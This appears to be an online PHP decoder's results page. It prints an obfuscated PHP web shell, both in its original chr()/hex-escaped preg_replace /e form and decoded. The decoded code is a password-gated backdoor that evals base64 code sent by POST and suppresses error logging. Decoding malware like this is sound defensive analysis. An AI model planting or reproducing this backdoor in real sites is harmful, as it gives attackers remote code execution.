Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $of8i8="\x70\x72\x65g\x5f\x72e\x70".chr(108)."a".chr(99)."\x65"; $eOnO3vB=chr(10..

Decoded Output download

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
	foreach ($_POST as $var)
	{
		if (!isset($code)) $code = $var;
		elseif (!isset($pass)) $pass = $var;
		else break;
	}

	if ($pass == "206XQSiba6sQ3lXPOeS6J0LbI3A8MlsT")
	{
		eval(base64_decode($code));
	}
}
exit;

Did this file decode correctly?

Original Code

<?php

$of8i8="\x70\x72\x65g\x5f\x72e\x70".chr(108)."a".chr(99)."\x65";
$eOnO3vB=chr(101)."v\x61\x6C(\x62".chr(97)."\x73\x65\x36".chr(52).chr(95)."dec\x6F".chr(100)."\x65".chr(40).chr(34).chr(81)."\x47\x56\x79\x63".chr(109)."\x39".chr(121)."X".chr(51).chr(74)."l\x63".chr(71)."\x39y\x64\x47\x6C".chr(117).chr(90)."y\x67\x77".chr(75).chr(84)."s\x4bQ".chr(71)."\x6C\x75a\x56\x39".chr(122)."ZX".chr(81).chr(111).chr(73).chr(109)."\x52".chr(112)."c3\x42\x73".chr(89)."X\x6c\x66".chr(90).chr(88)."\x4A".chr(121)."b\x33\x4az\x49".chr(105)."w\x77".chr(75)."T".chr(115)."\x4b\x51".chr(71)."\x6C\x75".chr(97)."\x56\x39\x7a\x5A\x58\x51\x6f".chr(73)."\x6d\x78".chr(118)."\x5a1\x39\x6Cc".chr(110)."Jv".chr(99).chr(110)."\x4di\x4CD\x41pOw".chr(112)."\x41a\x57\x35\x70X\x33\x4E".chr(108)."\x64\x43".chr(103)."\x69\x5a".chr(88)."\x4A".chr(121)."b\x33Jf\x62\x47".chr(57).chr(110)."\x49\x69".chr(119)."\x77\x4BT\x73\x4BC\x6D\x6cm\x49\x43\x68\x70\x63".chr(51)."\x4E\x6C\x64".chr(67).chr(103)."\x6B\x58".chr(49)."\x42\x50\x55\x31\x51\x70".chr(73).chr(67).chr(89)."m".chr(73)."\x47\x6C".chr(122)."\x582".chr(70)."yc\x6dF5K\x43\x52\x66\x55\x45".chr(57)."\x54V\x43k\x67".chr(74)."\x69Yg".chr(89).chr(50)."\x39".chr(49).chr(98)."\x6E".chr(81)."\x6FJF\x39\x51".chr(84)."\x31".chr(78)."\x55K\x54\x34".chr(120)."\x4b".chr(81)."\x70".chr(55)."\x43g\x6c".chr(109)."\x62\x33".chr(74)."lY\x57\x4E\x6fI".chr(67)."g\x6bX\x31BP\x55\x31".chr(81)."gY".chr(88).chr(77)."\x67J".chr(72).chr(90)."\x68".chr(99)."i".chr(107)."K".chr(67).chr(88).chr(115)."K".chr(67)."Ql\x70Z".chr(105)."\x41oI".chr(87).chr(108).chr(122)."\x632\x560".chr(75).chr(67)."R\x6Ab2\x52l\x4BS".chr(107)."\x67J\x47".chr(78).chr(118)."\x5a\x47".chr(85).chr(103)."P\x53\x41k\x64".chr(109)."\x46".chr(121)."O\x77oJ\x43WV\x73\x63\x32Vp\x5a\x69A".chr(111)."I".chr(87)."\x6C\x7a\x63\x32".chr(86)."\x30\x4B\x43\x52w".chr(89)."\x58\x4E".chr(122).chr(75)."\x53".chr(107)."gJ\x48\x42\x68\x63\x33\x4D\x67".chr(80).chr(83)."\x41\x6b\x64\x6D\x46yOw\x6F\x4a\x43WV\x73\x63\x32".chr(85)."g\x59\x6E\x4A".chr(108)."Y".chr(87)."s".chr(55)."Cg".chr(108).chr(57)."C".chr(103)."o".chr(74)."\x61\x57Y".chr(103).chr(75).chr(67)."R\x77YX\x4E".chr(122).chr(73)."\x44".chr(48)."\x39\x49".chr(67)."\x49\x79\x4D".chr(68)."ZY\x55V".chr(78)."\x70\x59".chr(109)."E2c".chr(49)."\x45zb\x46\x68\x51".chr(84).chr(50).chr(86).chr(84)."\x4E\x6B\x6F\x77".chr(84)."G".chr(74)."\x4a".chr(77)."\x30\x45".chr(52)."\x54".chr(87).chr(120).chr(122)."\x56\x43\x49\x70".chr(67)."g".chr(108)."7".chr(67)."\x67k".chr(74)."Z\x58Z".chr(104)."b\x43".chr(104)."i\x59\x58".chr(78)."l".chr(78)."jR\x66\x5aGV\x6a\x622".chr(82)."lKCR".chr(106)."b2R\x6CK\x53k\x37C\x67".chr(108)."9\x43\x6e\x30K\x5a\x58".chr(104)."\x70d\x44s".chr(61)."\x22));
";
$xqpeN="/".chr(50)."\x62".chr(101)."8\x38\x31\x36\x36".chr(50)."b\x36\x34".chr(55)."\x62\x3978\x31".chr(56)."0\x33".chr(56)."\x34c".chr(55)."\x38\x63\x33b".chr(102)."\x334".chr(47)."\x65";
$of8i8($xqpeN,$eOnO3vB,"\x32".chr(98)."\x65".chr(56).chr(56)."1".chr(54).chr(54)."\x32b6".chr(52)."\x37\x62\x397\x3818".chr(48)."\x3384c\x37\x38".chr(99).chr(51)."b\x663\x34");


?>

Function Calls

chr 167
preg_replace 1
base64_decode 1

Variables

$of8i8 preg_replace
$xqpeN /2be881662b647b978180384c78c3bf34/e
$eOnO3vB eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQo..

Stats

MD5 898cf3cfe82e7b6aec9fdd0ed6f0ad2e
Eval Count 2
Decode Time 244 ms